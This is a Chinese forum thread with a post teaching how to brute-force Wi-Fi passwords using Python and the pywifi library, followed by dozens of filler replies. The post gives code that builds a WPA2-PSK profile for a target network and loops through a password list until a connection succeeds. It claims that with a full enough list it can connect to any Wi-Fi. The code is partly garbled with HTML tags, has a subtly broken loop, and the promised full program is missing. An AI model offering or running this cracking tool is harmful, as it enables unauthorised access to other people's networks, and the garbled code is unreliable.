觅风论坛

标题: Python密码本如何本地破解连接wifi? [打印本页]

作者: Plastikovy_vaOa    时间: 2024-1-15 19:58
标题: Python密码本如何本地破解连接wifi?
有时候我们会忘记自己的Wi-Fi密码,或者需要连接某个Wi-Fi网络以满足合法需求。本文将介绍如何使用Python编程语言编写一个简单的连接Wi-Fi的程序。

在进行wifi猜测时,其实就是列出各种可能的密码,用来尝试去访问目标wifi,直到找出正确的密码为止,是密码破解的一种方案。怎么有效去猜测wifi密码呢,或者说日常中你使用的密码为什么会被别人猜到,这就涉及到社会工程学,比如习惯使用“123456”、“8888888”等弱口令,使用手机号、生日、家庭住址相关联作为密码,那么就很容易被猜到,这里不过多介绍,理论上任何密码都可以用这种方法来猜测连接,不过越复杂的密码破解耗时也越长。

python环境安装

访问Python官网,点击downloads按钮,在下拉框中选择系统类型,选择下载最新版本的Python,没有版本要求的话,尽量使用最新版本前几个版本,避免新版本的不稳定。双击下载好的Python安装包,勾选左下角"Add Python 3.7 to PATH"选项,然后选择"Install now"立刻安装Python,默认安装或自定义安装。打开命令窗口,使用“python --version”查验环境是否安装成功。
下载安装pywifi库

  1. pip install pywifi
复制代码
以下对整个连接程序主要部分进行讲解,最后提供完整的连接程序,可以使用自己的wifi网络进行连接尝试,密码本先填写几个错误密码,最后再写入正确密码,试验是否成功连接wifi,只要密码本够全,理论上可以连接所有wifi。注意一行表示一个可能性密码。
创建一个无线对象,获取无线网卡

  1. <p>#抓取网卡接口</p><p>wifi=pywifi.PyWiFi()</p><p>#获取第一个无线网卡</p><p>ifaces=wifi.interfaces()[0]</p>
复制代码

创建WiFi连接文件
创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。
  1. #创建WiFi连接文件
  2. profile=pywifi.Profile()
  3. #要连接WiFi的名称
  4. profile.ssid="WiFi名称"
  5. #网卡的开放状态
  6. profile.auth=const.AUTH_ALG_OPEN
  7. #wifi加密算法,一般wifi加密算法为wps
  8. profile.akm.append(const.AKM_TYPE_WPA2PSK)
  9. #加密单元
  10. profile.cipher=const.CIPHER_TYPE_CCMP
复制代码
 尝试连接wifi
密码本采用只读的方式,一行一行读取,后续用于尝试连接wifi。
  1. #读取密码本
  2. def readPassword():
  3.     print("开始破解:")
  4.     #密码本路径
  5.     path="wifi_pass.txt"
  6.     #打开文件
  7.     file=open(path,"r")
  8.     while True:
  9.         try:
  10.             #一行一行读取
  11.             pad=file.readline()
  12.             #尝试连接wifi
  13.             bool = wifiConnect(pad)
  14.             if not pad:
  15.                 break
  16.             if bool:
  17.                 print("密码已破解: ",pad)
  18.                 print("WiFi已自动连接!!!")
  19.                 break
  20.             else:
  21.                 #跳出当前循环,进行下一次循环
  22.                 print("密码破解中....密码校对: ",pad)
  23.         except:
  24.             continue
复制代码
  完整程序代码





作者: 唉唉唉    时间: 2024-1-15 23:05
多上传一点源码
作者: asd26297    时间: 2024-1-16 02:12
人设人阿松大
作者: 无痕    时间: 2024-1-16 05:19
支持,赞
作者: csw96781    时间: 2024-1-16 08:26
学习了,这就去试试
作者: 幻之灭    时间: 2024-1-16 11:33
这个不错,谢谢共享
作者: 白贝勒    时间: 2024-1-16 11:45
鉴定完毕是个好资源
作者: 80590711    时间: 2024-1-16 11:57
阿斯蒂芬撒反对
作者: 360403967    时间: 2024-1-16 12:09
666学习了!!
作者: q13129841235    时间: 2024-1-16 12:21
好像还不错!
作者: Dim星痕    时间: 2024-1-16 12:34
看帖子的要发表下看法
作者: 张庆伟23    时间: 2024-1-16 16:54
多上传一点源码
作者: 我去前面探探路    时间: 2024-1-16 21:15
谢谢楼主,对了新人问下,这个也要15字吗
作者: jackleos    时间: 2024-1-17 01:35
好像还不错!
作者: 444555    时间: 2024-1-17 05:56
顶一个了
作者: 老子    时间: 2024-1-17 10:16
顶起  很好的帖
作者: 6360120    时间: 2024-1-17 11:11
多上传一点源码
作者: 我爱你苏根    时间: 2024-1-17 12:07
感谢分享LOL
作者: 6360120    时间: 2024-1-17 13:02
支持你们一下下哈
作者: 我爱你苏根    时间: 2024-1-17 13:57
这个不错,谢谢共享
作者: 柠檬    时间: 2024-1-17 14:52
赞一个!
作者: 小天    时间: 2024-1-17 16:28
撒大苏打阿斯顿阿斯顿
作者: zxcasd123c1    时间: 2024-1-17 18:03
这就是传说中的好资源吗?赶紧看看去!
作者: 阿运    时间: 2024-1-17 19:39
学习了!!!!
作者: 物语    时间: 2024-1-17 21:15
嘻嘻不错支持一个
作者: 啊啊啊啊啊    时间: 2024-1-17 22:50
藕是来打酱油滴...
作者: qq2556906318    时间: 2024-1-18 01:37
我要下载试试,我要下载试试...
作者: 黑崎一宇    时间: 2024-1-18 04:24
鉴定完毕是个好资源
作者: 莫天浩    时间: 2024-1-18 07:11
学习一下!十分感谢
作者: 黑崎一宇    时间: 2024-1-18 09:58
好像还不错!
作者: 无名使者    时间: 2024-1-18 12:45
顶一个了
作者: jackleos    时间: 2024-1-18 13:53
感谢感谢分享
作者: 我去前面探探路    时间: 2024-1-18 15:02
撒大苏打阿斯顿阿斯顿
作者: he827298796    时间: 2024-1-18 16:10
好好好好的我要下载看看看
作者: 123456    时间: 2024-1-18 17:19
想学唉,可惜现在的我啥都不会
作者: 我去前面探探路    时间: 2024-1-18 18:27
看帖子的要发表下看法
作者: qq1124824221    时间: 2024-1-18 19:04
我知道错了,感谢大神分享
作者: 我爱你苏根    时间: 2024-1-18 19:41
666学习了!!
作者: 2098817979    时间: 2024-1-18 20:17
谢谢楼主的辛苦分享
作者: qq1124824221    时间: 2024-1-18 20:54
期待中......
作者: 风月    时间: 2024-1-18 21:31
这个不错,谢谢共享
作者: 星梦无痕    时间: 2024-1-19 07:32
感谢这个i资源
作者: 星梦无痕    时间: 2024-1-19 17:34
阿斯蒂芬撒反对
作者: 22222222    时间: 2024-1-20 03:35
11111111111111111111111111
作者: ...    时间: 2024-1-20 13:37
抢楼了,前排第一次啊
作者: 林哥    时间: 2024-1-20 23:38
赞一个!
作者: 物语    时间: 2024-1-21 03:38
厉害,我挺你,嘻嘻嘻。
作者: 天汇    时间: 2024-1-21 07:38
来瞧瞧的,呵呵
作者: 物语    时间: 2024-1-21 11:38
11111111111111111111111111
作者: 天汇    时间: 2024-1-21 15:38
很给力。。。。很喜欢
作者: lsz    时间: 2024-1-21 19:38
感谢您的无私精神...
作者: 小天    时间: 2024-1-22 00:25
66666666666666666666
作者: yu2353173832    时间: 2024-1-22 05:13
感谢这个i资源
作者: 小天    时间: 2024-1-22 10:00
感谢您的无私精神...
作者: 小天    时间: 2024-1-22 14:48
看帖子的要发表下看法
作者: yu2353173832    时间: 2024-1-22 19:35
藕是来打酱油滴...




欢迎光临 觅风论坛 (https://www.eyyba.com/) Powered by Discuz! X3.4